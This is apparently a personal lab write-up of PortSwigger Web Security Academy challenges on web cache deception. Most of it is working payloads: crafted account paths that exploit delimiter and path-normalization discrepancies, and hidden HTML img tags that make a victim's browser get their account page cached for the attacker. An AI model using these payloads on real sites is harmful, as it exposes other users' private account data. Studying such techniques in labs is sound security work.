rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Web Cache Deception



Challenge-: Exploiting path mapping for web cache deception


image

image

<! doctype html>
<html>
<img src="https://0ab1008c04140d638237339a00f200c8.web-security-academy.net/my-account/index.css?cache=busted" width="0" height="0" />
</html>

image


Delimeter Discrepancies


Chall 2-: Exploiting path delimiters for web cache deception


/my-account;index.ico?x=y
<! doctype html>
<html>
<img src="https://0ab0003103cea50c82e1b5cb006700ed.web-security-academy.net/my-account;index.ico?fooz=bar" width="0" height="0" />
</html>

image


Delimeter Decoding Discrepancies



Exploiting static directory cache rules



Challenge: Exploiting origin server normalization for web cache deception


/resources/..%2fmy-account
<! doctype html>
<html>
<img src="https://0a3d005204fb5c738344fc6f003b00b2.web-security-academy.net/resources/..%2fmy-account?foo=bar" width="0" height="0" />
</html>

image


Exploiting normalization by the cache server


/<dynamic-path>%2f%2e%2e%2f<static-directory-prefix>

Challenge-: Exploiting cache server normalization for web cache deception


/my-account%23%2f%2e%2e%2fresources?x=y
<! doctype html>
<html>
<img src="https://0a0b00bb037199bf8098120f00cc00fa.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?foo=y" width="0" height="0" />
</html>

image